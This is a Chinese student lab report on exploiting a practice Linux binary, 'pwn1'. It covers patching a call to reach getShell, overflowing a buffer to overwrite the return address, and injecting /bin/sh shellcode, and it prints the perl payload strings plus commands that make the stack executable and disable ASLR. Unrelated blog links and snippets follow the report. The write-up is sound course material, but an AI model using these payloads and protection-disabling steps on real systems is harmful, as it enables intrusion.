网络对抗第一次实验——PC平台逆向破解(5)M

实践一

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
操作步骤:

  • 获取实验用文件pwn1,复制,复制出来的文件改名为20155223。
  • 以文本文件形式打开可执行文件20155223。

  • 输入指令!xxd将文本以16进制显示。
  • 寻找目标:/e8d7将d7更改为c3.
  • 输入指令!xxd -r将16进制文本文件转换回原来的版本,保存后退出。
  • 在终端输入命令行:objdump -d 2015523 | more,反汇编刚才被修改后的文件。

的确有变化,函数的返回地址改了。

实践二

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
使用文件是原来的pwn1文件。
想要知道怎么样才能将覆盖到返回地址来触发getShell函数,首先要构造一条无序字节输入,然后通过反汇编来找异常地点。

  • 使用gdb打开文件pwn1,输入r让其运行,然后输入“1111111122222222333333334444444420155223”。
  • 输入命令info r,查看寄存器部分。

发现寄存器eip存储的字符为0x35303132,可以肯定eip寄存器存的是“5102”,这就肯定输入的结构要按eip的方式来构建。

  • 建造输入perl -e 'print "00000000000000000000000000000000\x7d\x84\x04\x08\x0a"' > input,,输入xxd input查看输入的16进制格式,执行程序。

实践三

注入一个自己制作的shellcode并运行这段shellcode。
shellcode为linux格式下的机器码。

  • 首先使用apt-get install execstack命令安装execstack。

  • 进行以下操作为实验3做准备。
    execstack -s pwn20155233 //设置堆栈可执行
    execstack -q pwn20155233 //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space
  • 构造输入。

  • 再打开另一个终端,输入ps -ef | grep pwn1。之前打开的中断输入命令(cat input_shellcode;cat) | ./pwn1

  • 然后我们来设置断点,首先输入disassemble foo,查看foo的栈地址,然后选择设置断点,break 0x080484ae。
    经过一番查找,发现16进制
    0x90909090,即发现存储地址0xffffd2b0*。

  • 修改输入:perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 执行命令:(cat input_shellcode;pwn1) | ./pwn1

不知道我为什么会出现这样的结果。尽管底下出现的不是“段错误”,但是为什么会是“非法命令”。

网络对抗第一次实验——PC平台逆向破解(5)M的更多相关文章

  1. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  2. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  3. 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解

    20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  4. 20145325张梓靖 《网络对抗技术》 PC平台逆向破解

    20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...

  5. 20155217《网络对抗》Exp01 PC平台逆向破解(5)M

    20155217<网络对抗>Exp01 PC平台逆向破解(5)M 实验要求 掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码 掌握反汇编与十六进制编程器 能正确修改机器指令改变程序 ...

  6. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  7. # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟

    <网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...

  8. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  9. 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解

    20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...

随机推荐

  1. Express使用Https服务器

    var fs = require('fs'); var http = require('http'); var https = require('https'); var privateKey = f ...

  2. jQuery EasyUI datagrid列名包含特殊字符会导致表格错位

    首先申明:本文所述的Bug存在于1.3.3以及更高版本中,其它低版本,本人未测试,太老的版本不想去折腾了. 洒家在写前端的SQL执行工具时,表格用了 jQuery EasyUI datagrid,因为 ...

  3. Problem4-Project Euler

    Largest palindrome product   A palindromic number reads the same both ways. The largest palindrome m ...

  4. spring boot(18)-servlet、filter、listener

    servlet.filter.listener的用法就不讲了,只讲如何在spring boot中配置它们.有两种方式,一种是从servlet3开始提供的注解方式,另一种是spring的注入方式 ser ...

  5. pyhon类继承

    1,python类的继承 class A(object): name ='eason' age = '22' def __init__(self): print '我是A的构造函数!!!' def g ...

  6. [Hive_1] Hive 基本概念

    Hive 系列01 Hive 简介 & Hive 应用场景 & Hive 与 Hadoop 的关系 & Hive 与传统数据库对比 1. Hive 简介 [ 官方介绍 ] Ap ...

  7. HTTP学习---TCP三次握手和四次挥手

    IP协议 首先我们看 IP(Internet Protocol)协议.IP 协议提供了主机和主机间的通信. 为了完成不同主机的通信,我们需要某种方式来唯一标识一台主机,这个标识,就是著名的IP地址.通 ...

  8. JAVA-最常用的A题语法

    输出 System.out.println(""); if 语句 if(布尔表达式) { //如果布尔表达式为true将执行的语句 } if...else... 语句 if(布尔表 ...

  9. 在学习前端的路上,立下一个Flag

    今天开始百度前端学习,以此为证

  10. FastDFS分布式文件系统设计原理

    转载自http://blog.chinaunix.net/uid-20196318-id-4058561.html FastDFS是一个开源的轻量级分布式文件系统,由跟踪服务器(tracker ser ...